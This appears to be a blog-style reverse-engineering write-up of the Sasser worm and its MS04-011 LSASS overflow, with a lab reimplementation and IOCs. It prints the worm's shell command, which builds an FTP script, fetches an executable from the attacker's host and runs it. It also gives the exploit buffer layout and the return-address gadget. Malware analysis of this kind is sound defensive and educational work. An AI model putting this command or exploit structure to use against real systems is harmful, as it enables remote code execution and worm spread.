← index

Anatomy of Sasser: MS04-011, LSASS, and AcidWorm

1. Overview

A while back I had the idea of reversing and reimplementing an old Windows RCE that was abused by Networms.

Of the worms from that era, I settled on Sasser. Having analyzed it, its functionality turned out to be rather simple. It generates target IPs at random, attempts to exploit MS04-011 to gain RCE on the target machine, and on success, the shellcode opens an FTP-like connection back to the attacker, pulls down a copy of the worm’s executable, and runs it. That is the entire loop.

The full shape of the worm, end to end:

WinMain
 ├── persistence (Run key → avserve.exe)
 ├── mutex Jobaka3l (single-instance guard)
 ├── FTP server thread (TCP/5554)
 ├── 128 scanner threads
 │    ├── pick target IP (random / local-biased)
 │    ├── SMB null session → OS fingerprint
 │    ├── DCE/RPC overflow in lsasrv → bindshell on TCP/9996
 │    └── send cmd.ftp → victim pulls payload via the worm's FTP server
 └── AbortSystemShutdownA loop (suppress reboot dialog)

winmain

2. Sasser

Startup is short. Sasser seeds its PRNG from the current tick count, then copies its running binary to %WINDIR%\avserve.exe and writes that path under HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run with the value name avserve.exe

persistence

Then, Winsock is brought up via WSAStartup.

Next, Sasser creates a mutex, in order to prevent multiple instances running concurrently. This mutex, Jobaka3l, is hardcoded, and consistent within the samples of the analyzed variant.

  mw_CreateMutexA(0, 0, "Jobaka3l");
  if ( mw_GetLastError() != ERROR_ALREADY_EXISTS )
  {
    ...
  }

If the coast is clear, Sasser spawns the worker threads that make up the rest of its behavior. Otherwise it exits.

The first is a single thread hosting a lightweight FTP-like server on TCP/5554. It supports USER, PASS, BIN, PORT, RETR, and QUIT, and exists purely to deliver the worm’s executable to freshly compromised hosts.

Then 128 scanner threads are spawned, all running the same function.

thread-loop

Each of the 128 scanner threads runs the same short loop: pick a target IP, hand it to the exploit dispatcher, sleep for 250ms, and repeat.

Target IPs are picked in one of three modes:


if ( mw_random_number() % 31 <= 15 )        // ~50%: full random
{
    oct1 = mw_random_number() % 255;
    oct2 = mw_random_number() % 255;
    oct3 = mw_random_number() % 255;
    oct4 = mw_random_number() % 255;
    mw_sprintf(mw_target_IP, "%i.%i.%i.%i", oct4, oct3, oct2, oct1);
}
else
{
    if ( mw_random_number() % 31 <= 15 )    // ~25%: local /16
    {
        v9 = mw_random_number() % 255;
        v7 = mw_random_number() % 255;
        v5 = v3;                            // second octet = local's second
    }
    else                                    // ~25%: local /8
    {
        v9 = mw_random_number() % 255;
        v7 = mw_random_number() % 255;
        v5 = mw_random_number() % 255;
    }
    mw_sprintf(mw_target_IP, "%i.%i.%i.%i", v2, v5, v7, v9);  // v2 = local's first octet
}

Roughly half the time the worm picks a completely random address. The other half it stays inside the infected host’s own /8 or /16. The first octet, and sometimes the second, is taken directly from the host’s IP.

An infected host produces on the order of 500 exploit attempts per second, roughly half of them aimed at machines on the same subnet.

One quirk however is that each octet is generated with rand() % 255, so values are always in the range 0 to 254. Any address containing a 255 in any octet is never targeted, including 255.255.255.255.

Before dispatching an exploit, Sasser fingerprints the target’s OS. This is done over an anonymous SMB session against \\target\ipc$ on TCP/445, parsing the OS string out of the session-setup response. The result feeds a small dispatch routine that picks one of three exploit variants. This analysis, and the reconstruction will however only focus on the Windows XP version.

The LSASS RPC buffer overflow overwrites the return address and redirects execution into shellcode placed inside the incoming packet. That shellcode spawns a bindshell on TCP/9996 running as SYSTEM.

exploit-comms

exploit-comms-graph

The DsRolerUpgradeDownlevelServer request never receives a response, since the overflow diverts execution before the handler completes. Everything after that point comes from the injected payload, including the FTP-style authentication and file transfer commands.

The worm connects to the bindshell and sends the following shell command:

echo off&echo open %s 5554>>cmd.ftp&echo anonymous>>cmd.ftp&echo user&echo bin>>cmd.ftp&echo get %i_up.exe>>cmd.ftp&echo bye>>cmd.ftp&echo on&ftp -s:cmd.ftp&%i_up.exe&echo off&del cmd.ftp&echo on

The %s is the attacker’s IP, the %i a random integer. The command builds a small script (cmd.ftp) line by line, invokes the Windows ftp client against the worm’s FTP-like server on TCP/5554 with that script, and once the executable arrives, runs it. The new instance starts the cycle again on the infected host.

After the worker threads are spawned, Sasser enters an infinite loop calling AbortSystemShutdownA every three seconds, suppressing the sixty-second reboot dialog Windows raises when the host’s LSASS process is crashed by an inbound exploit.

3. The Vulnerability

The vulnerability sits in lsasrv.dll, in a function responsible for writing to the DCPROMO.LOG file under C:\WINDOWS\Debug.

This function is called by multiple RPC-exposed routines. All of them except DsRolerUpgradeDownlevelServer first call RpcImpersonateClient to attach the caller’s security context to the current thread, which effectively blocks unauthenticated remote callers from reaching the vulnerable code path. DsRolerUpgradeDownlevelServer skips that step. The routine was originally intended to be only locally accessible, which explains the absence of the check. With minor adjustments to netapi.dll it can be invoked remotely, and a valid request packet can then be replayed for exploitation.

rpc-interface-table

The issue stems from a call to vsprintf() with no bounds validation on the destination buffer:

vsprintf

A buffer of 3320 bytes is used for the overflow, allowing the saved return address to be overwritten and execution to be redirected into the payload inside the packet.

The buffer is converted to a wide-character string before processing. This would normally corrupt the return address, since each byte becomes part of a two-byte sequence. Without ASLR, however, a usable CALL ESP exists at an address that still aligns after the Unicode expansion.

conversion

gadget

The packet that triggers the overflow carries the full exploit payload in a single structured buffer:

+------------------------------------------+
| RPC parameter header (length fields)     |
+------------------------------------------+
| NOP sled (~150 bytes of 0x90)            |
+------------------------------------------+
| XOR-99 decryptor stub                    |
+------------------------------------------+
| Encrypted shellcode (~0x125 bytes)       |
+------------------------------------------+
| NOP filler                               |
+------------------------------------------+
| Return address: 0x01004600 ← CALL ESP    |   ← overwrites saved EIP
+------------------------------------------+
| NOP filler (12 bytes)                    |
+------------------------------------------+
| Trampoline: sub esp, 0x71c ; jmp esp     |
+------------------------------------------+
| Post-return stack scaffolding (pointers) |
+------------------------------------------+
| 0x31 alignment padding                   |
+------------------------------------------+

4. Demo

The lab uses two hosts: a Windows XP target at 192.168.1.1 and the attacker at 192.168.1.2. Both IPs are hardcoded into AcidWorm, so the PoC will not fire against any other pair without rebuilding.

The payload differs as well. AcidWorm does not reimplement the wormable stage. Instead of Sasser’s propagation chain, the shellcode simply runs a small placeholder executable on the target.

The first clip shows the full exploit chain landing and the shellcode dropping the payload. The second shows the placeholder executing on the target.

5. IOCs

Host artifacts

Type Value
Mutex Jobaka3l
Run key value avserve.exe
Dropped log file C:\win.log

Network

Port Purpose
TCP/5554 Worm's FTP-like server (payload delivery)
TCP/9996 Bindshell spawned by the exploit payload

Sample

Filename SHA256
avserve.exe B2FA6EDAA5FFC51D12150424355A0C86AC9F46D7EC772D35AB8D9F4FE7996D91

6. References

Type Value
Vendor advisory Microsoft MS04-011
Reproduction github.com/Neso1337/AcidWorm